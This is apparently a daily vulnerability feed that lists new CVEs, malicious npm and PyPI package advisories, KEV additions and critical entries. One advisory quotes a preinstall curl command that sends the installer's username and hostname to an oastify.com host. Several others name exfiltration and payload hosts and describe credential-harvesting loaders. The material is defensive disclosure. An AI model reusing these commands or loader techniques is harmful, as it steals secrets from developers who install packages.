CVE-2026-28968	New				0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-43674	New				0.002		An authentication issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27. An attacker with physical access to an unlocked device may be able to view Wi-Fi passwords without authentication.
CVE-2026-43683	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected process termination or disclose process memory.
CVE-2026-43695	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-43785	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. An app may be able to modify a file it only had permission to read.
CVE-2026-43787	New				0.002		A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to leak sensitive user information.
CVE-2026-56668	New		HIGH		0.004	Go:github.com/zitadel/zitadel	### Summary A vulnerability in ZITADEL's OAuth2 Token Exchange endpoint allows an authenticated user or client to exchange a low-privilege access token for a token with elevated permissions at a completely different application. This bypasses the intended authorization and separation policies configured within ZITADEL. ### Impact ZITADEL enables administrators to restrict...
CVE-2026-65354	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.
CVE-2026-65357	New				0.002		The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination or write kernel memory.
CVE-2026-65358	New				0.002		A race condition was addressed with improved state handling. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65359	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local user may be able to cause unexpected system termination or read kernel memory.
CVE-2026-65360	New				0.002		A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-65361	New				0.002		This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-65371	New				0.002		This issue was addressed with improved redaction of sensitive information. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Sequoia 15.8, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to disclose kernel memory.
CVE-2026-65375	New				0.002		The issue was addressed with improved authentication. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6. An app may be able to cause unexpected system termination.
CVE-2026-65376	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-65399	New				0.002		A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. An archive may be able to bypass Gatekeeper.
CVE-2026-65403	New				0.002		This issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-65408	New				0.002		An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84507	New				0.002		A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-84509	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84510	New				0.002		A heap buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted volume may lead to unexpected system termination.
CVE-2026-84513	New				0.002		A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A malicious application may be able to determine a user's current location.
CVE-2026-84514	New				0.002		This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to modify protected parts of the file system.
CVE-2026-84524	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font file may lead to unexpected app termination.
CVE-2026-84525	New				0.002		A logging issue was addressed with improved data redaction. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.
CVE-2026-84526	New				0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D scene may lead to unexpected process termination.
CVE-2026-84527	New				0.002		A logging issue was addressed with improved data redaction. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-84530	New				0.002		An information disclosure issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to disclose kernel memory.
CVE-2026-84531	New				0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. Processing maliciously crafted NTLM input may lead to unexpected app termination.
CVE-2026-84532	New				0.002		An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Opening a maliciously crafted file may cause unexpected process termination or disclose process memory.
CVE-2026-84559	New				0.002		A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious application may be able to access restricted files.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84564	New				0.002		An uninitialized memory issue was addressed with improved memory initialization. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may result in disclosure of process memory.
CVE-2026-84566	New				0.002		The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A local attacker may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-84567	New				0.002		The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84570	New				0.002		A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to bypass Gatekeeper checks.
CVE-2026-84571	New				0.002		A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination.
CVE-2026-84572	New				0.002		An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or read kernel memory.
CVE-2026-84573	New				0.002		This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84574	New				0.002		A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to bypass Privacy preferences.
CVE-2026-84578	New				0.002		A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.
CVE-2026-84587	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access protected user data.
CVE-2026-84600	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A malicious shortcut may be able to send messages without user confirmation.
CVE-2026-84602	New				0.002		A type confusion issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84603	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-84615	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, tvOS 27, visionOS 27. An app may be able to access sensitive user data.
CVE-2026-84616	New				0.002		A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-84618	New				0.002		A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84621	New				0.002		An authorization issue was addressed with improved access control. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84622	New				0.002		A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app with root privileges may be able to read uninitialized kernel memory.
CVE-2026-84623	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An app may be able to fingerprint the device.
CVE-2026-84626	New				0.002		An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to identify what other apps a user has installed.
CVE-2026-84636	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-86869	New				0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27. Processing a maliciously crafted image may lead to unexpected app termination.
CVE-2026-86870	New				0.002		A heap buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may lead to unexpected app termination.
CVE-2026-86884	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An app may be able to access sensitive user data.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86886	New				0.002		A path traversal issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, watchOS 27. An app may be able to modify protected system files.
CVE-2026-86887	New				0.002		A privacy issue was addressed by removing sensitive data. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to bypass certain Privacy preferences.
CVE-2026-86888	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.
CVE-2026-86891	New				0.002		An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, watchOS 27. An app may be able to access Bluetooth device information.
CVE-2026-86892	New				0.002		This issue was addressed with additional entitlement checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to cause a denial-of-service.
CVE-2026-86893	New				0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to read device name.
CVE-2026-86898	New				0.001		A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Opening a maliciously crafted webarchive file may lead to universal cross-site scripting.
CVE-2026-86900	New				0.002		An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure.
CVE-2026-86901	New				0.001		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure.
CVE-2026-86902	New				0.001		A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sonoma 14.8.8. An app may be able to access sensitive user data.
CVE-2026-86909	New				0.002		A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Gatekeeper checks.
CVE-2026-87087	New						Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. Reason: This candidate was issued in error. Notes: All references and descriptions in this candidate have been removed to prevent accidental usage.
GHSA-54v8-j59m-366h	New					npm:meraz-project-tracker	--- _=- Per source details. Do not edit below this line.-=_ ## Source: amazon-inspector (d3081e87039a0a1582330f353797d15ba12cdb1c17828ab2ee7224b7c1ac4809) On `npm install`, the declared `postinstall` script (`bin/postinstall.js`) runs `trackProject()`, which collects the installer's hostname, OS username, platform/arch, Node version, consumer project name/version/path, git...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-5823-3hg3-27v8	New					npm:lpulogin	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2d824c971c20e83d0486d9e93a8de8543530380b7340ffebc1bd699e2f944b9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-59f6-ch49-395j	New					npm:afhmxiewpsf	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2d40bb89aa4b89707f1333f512fb3c58e977e45457d676f4ab239a20d472ee6c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-5wh2-j94m-rwpf	New					npm:dilxztech	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (a25964b3120ba869e831f58d089214a18bb2d692324e4b8101027fc39e97c9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-cmxv-8vgc-m43c	New					npm:@yggbrasil/api	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (332b0e357a065a614cea76388f28ef1cfbad3e2c1539a830a19585e9c1acbf17) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-x98w-cqq8-v3q2	New					npm:@merazmz/project-tracker	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (3c3ed01b550c0abf9d9ab2297215b49b5a3b73dbce21cf0ff2f2b476341c57fd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
MAL-2026-16144	New					npm:app-rrhh	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88) package.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/\$(whoami)/\$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path...
MAL-2026-16145	New					npm:conciierge-sdk	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b) The package's declared postinstall script executes exfil_v2.js at `npm install` time. That script harvests the full process environment, current working directory, and config/secret files (.env, secrets.json, /etc/enviro...
MAL-2026-16146	New					npm:@aiwfm/communitywfm.scripts.api	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48) The package's preinstall script (build.js) assembles a remote hostname from split string fragments that resolve to dawn-salad-18c7.mikhail-nab.workers.dev, base64-encodes the full process.env, and POSTs it to that endpoi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16147	New					npm:n8n-nodes-sysdiag	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (91dac1bf8d3a9d1f7cf1a6c15d8c5aea48b3548c8a519e3d3a605745935d8d5a) On require() of the package, dist/SysDiagNode.node.js runs a deferred bootstrap that enumerates process.env, selects keys matching / ^{N8N} ^{DB_} ^{REDIS} ^{QUEUE} ^{EXECUT} ^{KEY} ^{SECR} ^{PASS} ^{ENCRYPT} ^{PG} / (n8n encryption key, database...
MAL-2026-16148	New					npm:noblox-asset.js	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (a9d897fe6a57fc9f74c5dd46a89603da107c43ad60d3854a86987d67f5702973) noblox-asset.js impersonates the noblox.js Roblox API wrapper: package.json copies the legitimate package's description, homepage (github.com/noblox/noblox.js), and repository metadata while shipping a heavily obfuscated...
MAL-2026-16149	New					npm:os-info-meeb322k	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (cf3b4f18f9d98ad0792f96d750aef64b390ae6a516d948457d1e78b1d3242ab8) The package's postinstall lifecycle script runs unconditionally on npm install. It collects host identifiers (hostname, platform, architecture, kernel release, uid/gid, CPU count, memory) and internal network interface a...
MAL-2026-16150	New					npm:postgreesqlhelper	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (8956bc32d5371591e9ad2dd809c55715c24a2b4254a9713e280fb646cd1aea49) On require() of postgreesqlhelper, index.js decodes two base64 blobs shipped as parse.ts.map and init.ts.map, writes them to parsetmp.js and config.js, require()s parsetmp.js, and then unlinks the staged files. The decod...
MAL-2026-16151	New					npm:sql-limit-enforcer	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (6f8126bab8131e5781af023537f7c5fc2456929c104f71312eeddcea358b5659) Package ships no legitimate functionality: package.json declares main=index.js which is absent from the tarball, and the only shipped source is main.js, which runs from a postinstall hook (`node main.js`) during `npm ins...
MAL-2026-16152	New					npm:strapi-plugin-os-info-meeb322k	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (26da05bb07f15b53c17000d82631f739bcbfed9c94b9b4174e1c3cb769049ce5) The package declares a postinstall script (postinstall.js) that runs automatically on `npm install`. The script collects host reconnaissance data — os.hostname(), os.platform(), kernel release, uid/gid, all network inter...
MAL-2026-16153	New					npm:web-main	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (61680a5d53758bc9eb99b1cd2566e6e19139d09fee10a0096a5e72bb0953a5b2) package.json declares `preinstall: node index.js`, causing index.js to execute automatically on `npm install`. The script collects os.hostname(), os.userInfo() (username/uid/gid/shell), platform, arch, homedir, and the s...
MAL-2026-16154	New					npm:pino-ulid	The npm package pino-ulid is named like a ULID generator, but it is a remote-access trojan. On install, its package.json postinstall script runs `node dist/node/utlis.js` (after checking the dist files exist with existsSync). dist/node/utlis.js writes a PID lock file, sets up persistence on Windows using schtasks and reg under the name `pkg-agent`, skips machines with fewer ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16155	New					npm:ultra-ws	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a3cd852fb9e34a4705cad99a8022db52461e1325daddfa1425df17bbc3b7ac08) package.json declares a dependency `node-net-pool` whose source is a tarball URL on the `main` branch of a random third-party GitHub account (`https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main.tar.gz`...
MAL-2026-16156	New					npm:get-power	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e261e4010770fc43fd02cf8c9add484ea5f8a92a21f60682f2aea73f0ce110f7) get-power impersonates ljharb's get-proto utility (package.json declares author 'Jordan Harband <ljharb@gmail.com>' and homepage github.com/ljharb/get-power) while mirroring get-proto's file layout as cover. On require()...
MAL-2026-16162	New					npm:n8n-nodes-sysdiag2	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7cde3a20bc24f39c8a55a9f700f50c39dd42cbbab51c57ddf9fbbb54307ee7a8) The package advertises itself as an n8n community node for system diagnostics, but the shipped node module (dist/SysDiag.node.js) is an inert stub returning [{ok:true}] and the package's main is a one-line empty export. ...
MAL-2026-16171	New					npm:@biz44/process-runtime-utils	This package is part of a malicious npm campaign published by the `biz44` account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implements clipboard collection, keyboard and mouse event collection, filesystem scann...
MAL-2026-16172	New					npm:@biz44/runtime-utils	This package is part of a malicious npm campaign published by the `biz44` account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implements clipboard collection, keyboard and mouse event collection, filesystem scann...
MAL-2026-16200	New					npm:@zaka13/thing	@zaka13/thing@1.0.0 ships the same disguised in-browser proxy kit as webpackbootstrap5 and webpackbootstrapscripts by the same publisher (zaka13). Its YXBp.js loader matches those packages' index-z2b7r4.js (same sha256): it XOR-decodes endpoints with a fixed key, injects remote scripts from https://dyingefforlessefforlessours.com, and boots a Scramjet/wisp WebSocket proxy ro...
MAL-2026-16201	New					npm:webpackbootstrap5	webpackbootstrap5@5.0.0 typosquats bootstrap and ships a disguised in-browser proxy kit. Its bundled loader (index-z2b7r4.js) XOR-decodes a list of endpoints with a fixed key and injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, then boots a Scramjet/wisp WebSocket proxy that routes page traffic through operator-controlled rel...
MAL-2026-16202	New					npm:webpackbootstrapscripts	webpackbootstrapscripts@5.110.3 typosquats bootstrap and ships a disguised in-browser proxy kit. Its bundled loader (index-z2b7r4.js) XOR-decodes a list of endpoints with a fixed key and injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, then boots a Scramjet/wisp WebSocket proxy that routes page traffic through operator-contro...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16203	New					PyPI:faiss-cpu-avx512	faiss-cpu-avx512@1.9.0 through 1.9.7 on PyPI impersonates faiss-cpu and ships no FAISS code: faiss_cpu_avx512/__init__.py_fetch_native() downloads an xz-compressed binary from https://files.catbox.moe/ (ffoa50.xz in 1.9.0 to 1.9.3, 0oreqo.xz in 1.9.4, vwfr94.xz in 1.9.5, 3l3x0v.xz in 1.9.6, weu5u2.xz in 1.9.7), writes it to ~/.cache/faiss_cpu_avx512/bin/indexwrm with mode 0...

Significant updates today - original Published Date retained

None in this window.

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-58704	Added to KEV	8.8	HIGH	Yes	0.001	google:pixel	Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges.
CVE-2026-76460	Added to KEV			Yes		cisco:identity services engine	Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) contain an incorrect use of privileged APIs vulnerability that could allow an unauthenticated, remote attacker to gain unauthorized access to the affected device by bypassing the web-based management interface.
CVE-2026-87886	Added to KEV			Yes		acronis:backup	Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation.

P1 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76461	New	9.8	CRIT	Yes	0.02	cisco:asyncos, cisco:secure_email_gateway_c195, cisco:secure_email_gateway_c395, cisco:secure_email_gateway_c695, cisco:	A vulnerability in the email parsing of Cisco AsyncOS Software for Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to insufficient validation in the email parsing logic. An attacker could exploit this vulnerability by sending a crafted...

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65381	New	10.0	CRIT		0.002	apple:macos	A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious app may be able to break out of its sandbox.
CVE-2026-82434	New	10.0	CRIT		0.005		Description When ZooKeeper authentication is configured, Storm deliberately retains `storm.zookeeper.topology.auth.payload` in the topology configuration, because workers need it. Nimbus then served that configuration verbatim to any caller holding read-only topology permissions, so a user whose only grant was the ability to view a topology received its ZooKeeper credential...
CVE-2026-16338	New	9.9	CRIT		0.006		IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to perform an arbitrary file write due to improper validation of file paths.
CVE-2026-20353	New	9.8	CRIT		0.004		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-54333	New	9.8	CRIT		0.004		UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, MakeTable() in uefi_firmware/compression/Tiano/Decompress.c does not validate that bit-length values read from a crafted Tiano or EFI compressed firmware bitstream remain within the expected range from 0 through 16. The normal CompressedSection....
CVE-2026-54334	New	9.8	CRIT		0.004		UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, ReadClen() in uefi_firmware/compression/Tiano/Decompress.c reads Number from GetBits(Sd, CBIT) with CBIT = 9 and can obtain 511 entries for the 510-element Sd->mClen heap array because its loop does not enforce Index < NC. The CharC == 2 run-len...
CVE-2026-55209	New	9.8	CRIT		0.004		resdata is software for reading and writing result files from the Eclipse reservoir simulator. Prior to 6.2.9, resdata insufficiently validates numeric fields, grid dimensions, keyword sizes, and array indexes while parsing untrusted GRDECL files in lib/resdata/rd_kw_grdecl.cpp and lib/resdata/rd_grid.cpp. Malformed COORD, ZCORN, CORNUM, ACTNUM, or MAPAXES data can reach rd...
